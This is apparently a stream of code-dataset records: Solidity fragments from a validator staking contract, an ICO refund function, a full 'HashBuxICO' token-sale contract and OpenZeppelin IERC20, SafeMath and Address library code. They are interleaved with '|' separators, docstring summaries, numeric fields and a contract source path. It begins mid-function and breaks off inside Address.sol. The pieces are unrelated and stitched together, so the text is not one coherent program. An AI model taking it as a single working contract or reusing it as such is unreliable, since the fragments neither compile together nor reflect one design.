uint256 length = _poolsToBeRemoved.length;
if (index >= length || _poolsToBeRemoved[index] != _poolId) {
poolToBeRemovedIndex[_poolId] = length;
_poolsToBeRemoved.push(_poolId);
}
_deletePoolToBeElected(_poolId);
}
/// @dev Deletes the specified pool id from the array of pools returned by the
/// `getPoolsToBeElected` getter. Used by the `_addPoolToBeRemoved` and `_removePool` internal functions.
/// See the `getPoolsToBeElected` getter.
/// @param _poolId The pool id deleted from the `poolsToBeElected` array.
function _deletePoolToBeElected(uint256 _poolId) internal {
if (_poolsToBeElected.length != _poolsLikelihood.length) return;
uint256 indexToDelete = poolToBeElectedIndex[_poolId];
if (_poolsToBeElected.length > indexToDelete && _poolsToBeElected[indexToDelete] == _poolId) {
if (_poolsLikelihoodSum >= _poolsLikelihood[indexToDelete]) {
_poolsLikelihoodSum -= _poolsLikelihood[indexToDelete];
} else {
_poolsLikelihoodSum = 0;
}
uint256 lastPoolIndex = _poolsToBeElected.length - 1;
uint256 lastPool = _poolsToBeElected[lastPoolIndex];
_poolsToBeElected[indexToDelete] = lastPool;
_poolsLikelihood[indexToDelete] = _poolsLikelihood[lastPoolIndex];
poolToBeElectedIndex[lastPool] = indexToDelete;
poolToBeElectedIndex[_poolId] = 0;
_poolsToBeElected.length--;
_poolsLikelihood.length--;
}
}
/// @dev Deletes the specified pool id from the array of pools returned by the
/// `getPoolsToBeRemoved` getter. Used by the `_addPoolToBeElected` and `_removePool` internal functions.
/// See the `getPoolsToBeRemoved` getter.
/// @param _poolId The pool id deleted from the `poolsToBeRemoved` array.
function _deletePoolToBeRemoved(uint256 _poolId) internal {
uint256 indexToDelete = poolToBeRemovedIndex[_poolId];
if (_poolsToBeRemoved.length > indexToDelete && _poolsToBeRemoved[indexToDelete] == _poolId) {
uint256 lastPool = _poolsToBeRemoved[_poolsToBeRemoved.length - 1];
_poolsToBeRemoved[indexToDelete] = lastPool;
poolToBeRemovedIndex[lastPool] = indexToDelete;
poolToBeRemovedIndex[_poolId] = 0;
_poolsToBeRemoved.length--;
}
}
/// @dev Removes the specified pool id from the array of active pools returned by
/// the `getPools` getter. Used by the `removePool`, `removeMyPool`, and withdrawal functions.
/// @param _poolId The pool id removed from the array of active pools.
function _removePool(uint256 _poolId) internal {
uint256 indexToRemove = poolIndex[_poolId];
if (_pools.length > indexToRemove && _pools[indexToRemove] == _poolId) {
uint256 lastPool = _pools[_pools.length - 1];
_pools[indexToRemove] = lastPool;
poolIndex[lastPool] = indexToRemove;
poolIndex[_poolId] = 0;
_pools.length--;
}
if (_isPoolEmpty(_poolId)) {
_removePoolInactive(_poolId);
} else {
_addPoolInactive(_poolId);
}
_deletePoolToBeElected(_poolId);
_deletePoolToBeRemoved(_poolId);
lastChangeBlock = _getCurrentBlockNumber();
}
/// @dev Removes the specified pool id from the array of inactive pools returned by
/// the `getPoolsInactive` getter. Used by withdrawal functions, by the `_addPoolActive` and
/// `_removePool` internal functions.
/// @param _poolId The pool id removed from the array of inactive pools.
function _removePoolInactive(uint256 _poolId) internal {
uint256 indexToRemove = poolInactiveIndex[_poolId];
if (_poolsInactive.length > indexToRemove && _poolsInactive[indexToRemove] == _poolId) {
uint256 lastPool = _poolsInactive[_poolsInactive.length - 1];
_poolsInactive[indexToRemove] = lastPool;
poolInactiveIndex[lastPool] = indexToRemove;
poolInactiveIndex[_poolId] = 0;
_poolsInactive.length--;
}
}
/// @dev Used by `addPool` and `onTokenTransfer` functions. See their descriptions and code.
/// @param _amount The amount of tokens to be staked. Ignored when staking in native coins
/// because `msg.value` is used in that case.
/// @param _stakingAddress The staking address of the new candidate.
/// @param _miningAddress The mining address of the candidate. The mining address is bound to the staking address
/// (msg.sender). This address cannot be equal to `_stakingAddress`.
/// @param _byOnTokenTransfer A boolean flag defining whether this internal function is called
/// by the `onTokenTransfer` function.
/// @param _name A name of the pool as UTF-8 string (max length is 256 bytes).
/// @param _description A short description of the pool as UTF-8 string (max length is 1024 bytes).
function _addPool(
uint256 _amount,
address _stakingAddress,
address _miningAddress,
bool _byOnTokenTransfer,
string memory _name,
string memory _description
) internal returns(uint256) {
uint256 poolId = validatorSetContract.addPool(_miningAddress, _stakingAddress, _name, _description);
if (_byOnTokenTransfer) {
_stake(_stakingAddress, _stakingAddress, _amount);
} else {
_stake(_stakingAddress, _amount);
}
emit AddedPool(_stakingAddress, _miningAddress, poolId);
return poolId;
}
/// @dev Adds the specified address to the array of the current active delegators of the specified pool.
/// Used by the `stake` and `orderWithdraw` functions. See the `poolDelegators` getter.
/// @param _poolId The pool id.
/// @param _delegator The delegator's address.
function _addPoolDelegator(uint256 _poolId, address _delegator) internal {
address[] storage delegators = _poolDelegators[_poolId];
uint256 index = poolDelegatorIndex[_poolId][_delegator];
uint256 length = delegators.length;
if (index >= length || delegators[index] != _delegator) {
poolDelegatorIndex[_poolId][_delegator] = length;
delegators.push(_delegator);
}
_removePoolDelegatorInactive(_poolId, _delegator);
}
/// @dev Adds the specified address to the array of the current inactive delegators of the specified pool.
/// Used by the `_removePoolDelegator` internal function.
/// @param _poolId The pool id.
/// @param _delegator The delegator's address.
function _addPoolDelegatorInactive(uint256 _poolId, address _delegator) internal {
address[] storage delegators = _poolDelegatorsInactive[_poolId];
uint256 index = poolDelegatorInactiveIndex[_poolId][_delegator];
uint256 length = delegators.length;
if (index >= length || delegators[index] != _delegator) {
poolDelegatorInactiveIndex[_poolId][_delegator] = length;
delegators.push(_delegator);
}
}
/// @dev Removes the specified address from the array of the current active delegators of the specified pool.
/// Used by the withdrawal functions. See the `poolDelegators` getter.
/// @param _poolId The pool id.
/// @param _delegator The delegator's address.
function _removePoolDelegator(uint256 _poolId, address _delegator) internal {
address[] storage delegators = _poolDelegators[_poolId];
uint256 indexToRemove = poolDelegatorIndex[_poolId][_delegator];
if (delegators.length > indexToRemove && delegators[indexToRemove] == _delegator) {
address lastDelegator = delegators[delegators.length - 1];
delegators[indexToRemove] = lastDelegator;
poolDelegatorIndex[_poolId][lastDelegator] = indexToRemove;
poolDelegatorIndex[_poolId][_delegator] = 0;
delegators.length--;
}
if (orderedWithdrawAmount[_poolId][_delegator] != 0) {
_addPoolDelegatorInactive(_poolId, _delegator);
} else {
_removePoolDelegatorInactive(_poolId, _delegator);
}
}
/// @dev Removes the specified address from the array of the inactive delegators of the specified pool.
/// Used by the `_addPoolDelegator` and `_removePoolDelegator` internal functions.
/// @param _poolId The pool id.
/// @param _delegator The delegator's address.
function _removePoolDelegatorInactive(uint256 _poolId, address _delegator) internal {
address[] storage delegators = _poolDelegatorsInactive[_poolId];
uint256 indexToRemove = poolDelegatorInactiveIndex[_poolId][_delegator];
if (delegators.length > indexToRemove && delegators[indexToRemove] == _delegator) {
address lastDelegator = delegators[delegators.length - 1];
delegators[indexToRemove] = lastDelegator;
poolDelegatorInactiveIndex[_poolId][lastDelegator] = indexToRemove;
poolDelegatorInactiveIndex[_poolId][_delegator] = 0;
delegators.length--;
}
}
function _sendWithdrawnStakeAmount(address payable _to, uint256 _amount) internal;
/// @dev Calculates (updates) the probability of being selected as a validator for the specified pool
/// and updates the total sum of probability coefficients. Actually, the probability is equal to the
/// amount totally staked into the pool. See the `getPoolsLikelihood` getter.
/// Used by the staking and withdrawal functions.
/// @param _poolId An id of the pool for which the probability coefficient must be updated.
function _setLikelihood(uint256 _poolId) internal {
lastChangeBlock = _getCurrentBlockNumber();
(bool isToBeElected, uint256 index) = _isPoolToBeElected(_poolId);
if (!isToBeElected) return;
uint256 oldValue = _poolsLikelihood[index];
uint256 newValue = stakeAmountTotal[_poolId];
_poolsLikelihood[index] = newValue;
if (newValue >= oldValue) {
_poolsLikelihoodSum = _poolsLikelihoodSum.add(newValue - oldValue);
} else {
_poolsLikelihoodSum = _poolsLikelihoodSum.sub(oldValue - newValue);
}
}
/// @dev Makes a snapshot of the amount currently staked by the specified delegator
/// into the specified pool. Used by the `orderWithdraw`, `_stake`, and `_withdraw` functions.
/// @param _poolId An id of the pool.
/// @param _delegator The address of the delegator.
function _snapshotDelegatorStake(uint256 _poolId, address _delegator) internal {
uint256 nextStakingEpoch = stakingEpoch + 1;
uint256 newAmount = stakeAmount[_poolId][_delegator];
delegatorStakeSnapshot[_poolId][_delegator][nextStakingEpoch] =
(newAmount != 0) ? newAmount : uint256(-1);
if (stakeFirstEpoch[_poolId][_delegator] == 0) {
stakeFirstEpoch[_poolId][_delegator] = nextStakingEpoch;
}
stakeLastEpoch[_poolId][_delegator] = (newAmount == 0) ? nextStakingEpoch : 0;
}
function _stake(address _toPoolStakingAddress, uint256 _amount) internal;
/// @dev The internal function used by the `_stake`, `moveStake`, `initialValidatorStake`, `_addPool` functions.
/// See the `stake` public function for more details.
/// @param _poolStakingAddress The staking address of the pool where the tokens/coins should be staked.
/// @param _staker The staker's address.
/// @param _amount The amount of tokens/coins to be staked.
function _stake(
address _poolStakingAddress,
address _staker,
uint256 _amount
) internal gasPriceIsValid onlyInitialized {
uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress);
require(_poolStakingAddress != address(0));
require(poolId != 0);
require(_amount != 0);
require(!validatorSetContract.isValidatorIdBanned(poolId));
require(areStakeAndWithdrawAllowed());
address delegatorOrZero = (_staker != _poolStakingAddress) ? _staker : address(0);
uint256 newStakeAmount = stakeAmount[poolId][delegatorOrZero].add(_amount);
if (_staker == _poolStakingAddress) {
// The staked amount must be at least CANDIDATE_MIN_STAKE
require(newStakeAmount >= candidateMinStake);
} else {
// The staked amount must be at least DELEGATOR_MIN_STAKE
require(newStakeAmount >= delegatorMinStake);
// The delegator cannot stake into the pool of the candidate which hasn't self-staked.
// Also, that candidate shouldn't want to withdraw all their funds.
require(stakeAmount[poolId][address(0)] != 0);
}
stakeAmount[poolId][delegatorOrZero] = newStakeAmount;
_stakeAmountByEpoch[poolId][delegatorOrZero][stakingEpoch] =
stakeAmountByCurrentEpoch(poolId, delegatorOrZero).add(_amount);
stakeAmountTotal[poolId] = stakeAmountTotal[poolId].add(_amount);
if (_staker == _poolStakingAddress) { // `staker` places a stake for himself and becomes a candidate
// Add `_poolStakingAddress` to the array of pools
_addPoolActive(poolId, poolId != validatorSetContract.unremovableValidator());
} else {
// Add `_staker` to the array of pool's delegators
_addPoolDelegator(poolId, _staker);
// Save/update amount value staked by the delegator
_snapshotDelegatorStake(poolId, _staker);
// Remember that the delegator (`_staker`) has ever staked into `_poolStakingAddress`
uint256[] storage delegatorPools = _delegatorPools[_staker];
uint256 delegatorPoolsLength = delegatorPools.length;
uint256 index = _delegatorPoolsIndexes[_staker][poolId];
bool neverStakedBefore = index >= delegatorPoolsLength || delegatorPools[index] != poolId;
if (neverStakedBefore) {
_delegatorPoolsIndexes[_staker][poolId] = delegatorPoolsLength;
delegatorPools.push(poolId);
}
if (delegatorPoolsLength == 0) {
// If this is the first time the delegator stakes,
// make sure the delegator has never been a mining address
require(validatorSetContract.hasEverBeenMiningAddress(_staker) == 0);
}
}
_setLikelihood(poolId);
emit PlacedStake(_poolStakingAddress, _staker, stakingEpoch, _amount, poolId);
}
/// @dev The internal function used by the `withdraw` and `moveStake` functions.
/// See the `withdraw` public function for more details.
/// @param _poolStakingAddress The staking address of the pool from which the tokens/coins should be withdrawn.
/// @param _staker The staker's address.
/// @param _amount The amount of the tokens/coins to be withdrawn.
function _withdraw(
address _poolStakingAddress,
address _staker,
uint256 _amount
) internal gasPriceIsValid onlyInitialized {
uint256 poolId = validatorSetContract.idByStakingAddress(_poolStakingAddress);
require(_poolStakingAddress != address(0));
require(_amount != 0);
require(poolId != 0);
// How much can `_staker` withdraw from `_poolStakingAddress` at the moment?
require(_amount <= maxWithdrawAllowed(_poolStakingAddress, _staker));
address delegatorOrZero = (_staker != _poolStakingAddress) ? _staker : address(0);
uint256 newStakeAmount = stakeAmount[poolId][delegatorOrZero].sub(_amount);
// The amount to be withdrawn must be the whole staked amount or
// must not exceed the diff between the entire amount and min allowed stake
uint256 minAllowedStake;
if (_poolStakingAddress == _staker) {
// initial validator cannot withdraw their initial stake
require(newStakeAmount >= _stakeInitial[poolId]);
minAllowedStake = candidateMinStake;
} else {
minAllowedStake = delegatorMinStake;
}
require(newStakeAmount == 0 || newStakeAmount >= minAllowedStake);
stakeAmount[poolId][delegatorOrZero] = newStakeAmount;
uint256 amountByEpoch = stakeAmountByCurrentEpoch(poolId, delegatorOrZero);
_stakeAmountByEpoch[poolId][delegatorOrZero][stakingEpoch] =
amountByEpoch >= _amount ? amountByEpoch - _amount : 0;
stakeAmountTotal[poolId] = stakeAmountTotal[poolId].sub(_amount);
if (newStakeAmount == 0) {
_withdrawCheckPool(poolId, _poolStakingAddress, _staker);
}
if (_staker != _poolStakingAddress) {
_snapshotDelegatorStake(poolId, _staker);
}
_setLikelihood(poolId);
}
/// @dev The internal function used by the `_withdraw` and `claimOrderedWithdraw` functions.
/// Contains a common logic for these functions.
/// @param _poolId The id of the pool from which the tokens/coins are withdrawn.
/// @param _poolStakingAddress The staking address of the pool from which the tokens/coins are withdrawn.
/// @param _staker The staker's address.
function _withdrawCheckPool(uint256 _poolId, address _poolStakingAddress, address _staker) internal {
if (_staker == _poolStakingAddress) {
uint256 unremovablePoolId = validatorSetContract.unremovableValidator();
if (_poolId != unremovablePoolId) {
if (validatorSetContract.isValidatorById(_poolId)) {
_addPoolToBeRemoved(_poolId);
} else {
_removePool(_poolId);
}
}
} else {
_removePoolDelegator(_poolId, _staker);
if (_isPoolEmpty(_poolId)) {
_removePoolInactive(_poolId);
}
}
}
/// @dev Returns the current block number. Needed mostly for unit tests.
function _getCurrentBlockNumber() internal view returns(uint256) {
return block.number;
}
/// @dev The internal function used by the `claimReward` function and `getRewardAmount` getter.
/// Finds the stake amount made by a specified delegator into a specified pool before a specified
/// staking epoch.
function _getDelegatorStake(
uint256 _epoch,
uint256 _firstEpoch,
uint256 _prevDelegatorStake,
uint256 _poolId,
address _delegator
) internal view returns(uint256 delegatorStake) {
while (true) {
delegatorStake = delegatorStakeSnapshot[_poolId][_delegator][_epoch];
if (delegatorStake != 0) {
delegatorStake = (delegatorStake == uint256(-1)) ? 0 : delegatorStake;
break;
} else if (_epoch == _firstEpoch) {
delegatorStake = _prevDelegatorStake;
break;
}
_epoch--;
}
}
/// @dev Returns the max number of candidates (including validators). See the MAX_CANDIDATES constant.
/// Needed mostly for unit tests.
function _getMaxCandidates() internal pure returns(uint256) {
return MAX_CANDIDATES;
}
/// @dev Returns a boolean flag indicating whether the specified pool is fully empty
/// (all stakes are withdrawn including ordered withdrawals).
/// @param _poolId An id of the pool.
function _isPoolEmpty(uint256 _poolId) internal view returns(bool) {
return stakeAmountTotal[_poolId] == 0 && orderedWithdrawAmountTotal[_poolId] == 0;
}
/// @dev Determines if the specified pool is in the `poolsToBeElected` array. See the `getPoolsToBeElected` getter.
/// Used by the `_setLikelihood` internal function.
/// @param _poolId An id of the pool.
/// @return `bool toBeElected` - The boolean flag indicating whether the `_poolId` is in the
/// `poolsToBeElected` array.
/// `uint256 index` - The position of the item in the `poolsToBeElected` array if `toBeElected` is `true`.
function _isPoolToBeElected(uint256 _poolId) internal view returns(bool toBeElected, uint256 index) {
index = poolToBeElectedIndex[_poolId];
if (_poolsToBeElected.length > index && _poolsToBeElected[index] == _poolId) {
return (true, index);
}
return (false, 0);
}
/// @dev Returns `true` if the specified pool is banned or the pool is under a governance ballot.
/// Used by the `_isWithdrawAllowed` internal function and the `claimOrderedWithdraw` function.
/// @param _poolId An id of the validator's pool.
/// @param _isDelegator Whether the withdrawal is requested by a delegator, not by a candidate/validator.
function _isPoolBanned(uint256 _poolId, bool _isDelegator) internal view returns(bool) {
if (_isDelegator) {
if (validatorSetContract.areIdDelegatorsBanned(_poolId)) {
// The delegator cannot withdraw from the banned validator pool until the ban is expired
return true;
}
} else {
if (validatorSetContract.isValidatorIdBanned(_poolId)) {
// The banned validator cannot withdraw from their pool until the ban is expired
return true;
} else if (governanceContract != IGovernance(0) && governanceContract.isValidatorUnderBallot(_poolId)) {
// There is an active ballot in the Governance contract for this validator removal
return true;
}
}
return false;
}
/// @dev Returns `true` if withdrawal from the pool of the specified candidate/validator is allowed at the moment.
/// Used by all withdrawal functions.
/// @param _poolId An id of the validator's pool.
/// @param _isDelegator Whether the withdrawal is requested by a delegator, not by a candidate/validator.
function _isWithdrawAllowed(uint256 _poolId, bool _isDelegator) internal view returns(bool) {
if (_isPoolBanned(_poolId, _isDelegator)) {
return false;
}
if (!areStakeAndWithdrawAllowed()) {
return false;
}
return true;
}
/// @dev Returns the balance of this contract in staking tokens or coins
/// depending on implementation.
function _thisBalance() internal view returns(uint256);
}
|
Initializes the network parameters. Can only be called by the constructor of the `InitializerAuRa` contract or owner. _validatorSetContract The address of the `ValidatorSetAuRa` contract. _governanceContract The address of the `Governance` contract. _initialIds The array of initial validators' pool ids. _delegatorMinStake The minimum allowed amount of delegator stake in Wei. _candidateMinStake The minimum allowed amount of candidate/validator stake in Wei. _stakingEpochDuration The duration of a staking epoch in blocks (e.g., 120954 = 1 week for 5-seconds blocks in AuRa). _stakingEpochStartBlock The number of the first block of initial staking epoch (must be zero if the network is starting from genesis block). _stakeWithdrawDisallowPeriod The duration period (in blocks) at the end of a staking epoch during which participants cannot stake/withdraw/order/claim their staking tokens/coins (e.g., 4320 = 6 hours for 5-seconds blocks in AuRa).
|
function initialize(
address _validatorSetContract,
address _governanceContract,
uint256[] calldata _initialIds,
uint256 _delegatorMinStake,
uint256 _candidateMinStake,
uint256 _stakingEpochDuration,
uint256 _stakingEpochStartBlock,
uint256 _stakeWithdrawDisallowPeriod
) external {
require(_validatorSetContract != address(0));
require(_initialIds.length > 0);
require(_delegatorMinStake != 0);
require(_candidateMinStake != 0);
require(_stakingEpochDuration != 0);
require(_stakingEpochDuration > _stakeWithdrawDisallowPeriod);
require(_stakeWithdrawDisallowPeriod != 0);
require(_getCurrentBlockNumber() == 0 || msg.sender == _admin());
validatorSetContract = IValidatorSetAuRa(_validatorSetContract);
governanceContract = IGovernance(_governanceContract);
uint256 unremovablePoolId = validatorSetContract.unremovableValidator();
for (uint256 i = 0; i < _initialIds.length; i++) {
require(_initialIds[i] != 0);
_addPoolActive(_initialIds[i], false);
if (_initialIds[i] != unremovablePoolId) {
_addPoolToBeRemoved(_initialIds[i]);
}
}
delegatorMinStake = _delegatorMinStake;
candidateMinStake = _candidateMinStake;
stakingEpochDuration = _stakingEpochDuration;
stakingEpochStartBlock = _stakingEpochStartBlock;
stakeWithdrawDisallowPeriod = _stakeWithdrawDisallowPeriod;
lastChangeBlock = _getCurrentBlockNumber();
}
| 13,080,962 |
./partial_match/1/0x3aE2f3974C55B92C5186f33c9B7F132b03D7EAf0/sources/CIDToken.sol
|
refund option for investors/
|
function refund() public {
require(this.balance < softcap && now > start && balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
| 9,281,762 |
//
// compiler: solcjs -o ./build/contracts --optimize --abi --bin <this file>
// version: 0.4.15+commit.bbb8e64f.Emscripten.clang
//
pragma solidity ^0.4.15;
contract owned {
address public owner;
function owned() { owner = msg.sender; }
modifier onlyOwner {
if (msg.sender != owner) { revert(); }
_;
}
function changeOwner( address newowner ) onlyOwner {
owner = newowner;
}
function closedown() onlyOwner {
selfdestruct( owner );
}
}
// "extern" declare functions from token contract
interface HashBux {
function transfer(address to, uint256 value);
function balanceOf( address owner ) constant returns (uint);
}
contract HashBuxICO is owned {
uint public constant STARTTIME = 1522072800; // 26 MAR 2018 00:00 GMT
uint public constant ENDTIME = 1522764000; // 03 APR 2018 00:00 GMT
uint public constant HASHPERETH = 1000; // price: approx $0.65 ea
HashBux public tokenSC;
function HashBuxICO() {}
function setToken( address tok ) onlyOwner {
if ( tokenSC == address(0) )
tokenSC = HashBux(tok);
}
function() payable {
if (now < STARTTIME || now > ENDTIME)
revert();
// (amountinwei/weipereth * hash/eth) * ( (100 + bonuspercent)/100 )
// = amountinwei*hashpereth/weipereth*(bonus+100)/100
uint qty =
div(mul(div(mul(msg.value, HASHPERETH),1000000000000000000),(bonus()+100)),100);
if (qty > tokenSC.balanceOf(address(this)) || qty < 1)
revert();
tokenSC.transfer( msg.sender, qty );
}
// unsold tokens can be claimed by owner after sale ends
function claimUnsold() onlyOwner {
if ( now < ENDTIME )
revert();
tokenSC.transfer( owner, tokenSC.balanceOf(address(this)) );
}
function withdraw( uint amount ) onlyOwner returns (bool) {
if (amount <= this.balance)
return owner.send( amount );
return false;
}
function bonus() constant returns(uint) {
uint elapsed = now - STARTTIME;
if (elapsed < 24 hours) return 50;
if (elapsed < 48 hours) return 30;
if (elapsed < 72 hours) return 20;
if (elapsed < 96 hours) return 10;
return 0;
}
// ref:
// github.com/OpenZeppelin/zeppelin-solidity/
// blob/master/contracts/math/SafeMath.sol
function mul(uint256 a, uint256 b) constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) constant returns (uint256) {
uint256 c = a / b;
return c;
}
}
|
ref: github.com/OpenZeppelin/zeppelin-solidity/ blob/master/contracts/math/SafeMath.sol
|
function mul(uint256 a, uint256 b) constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
| 6,518,961 |
// File: @openzeppelin\contracts\token\ERC20\IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\@openzeppelin\contracts\math\SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: node_modules\@openzeppelin\contracts\utils\Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
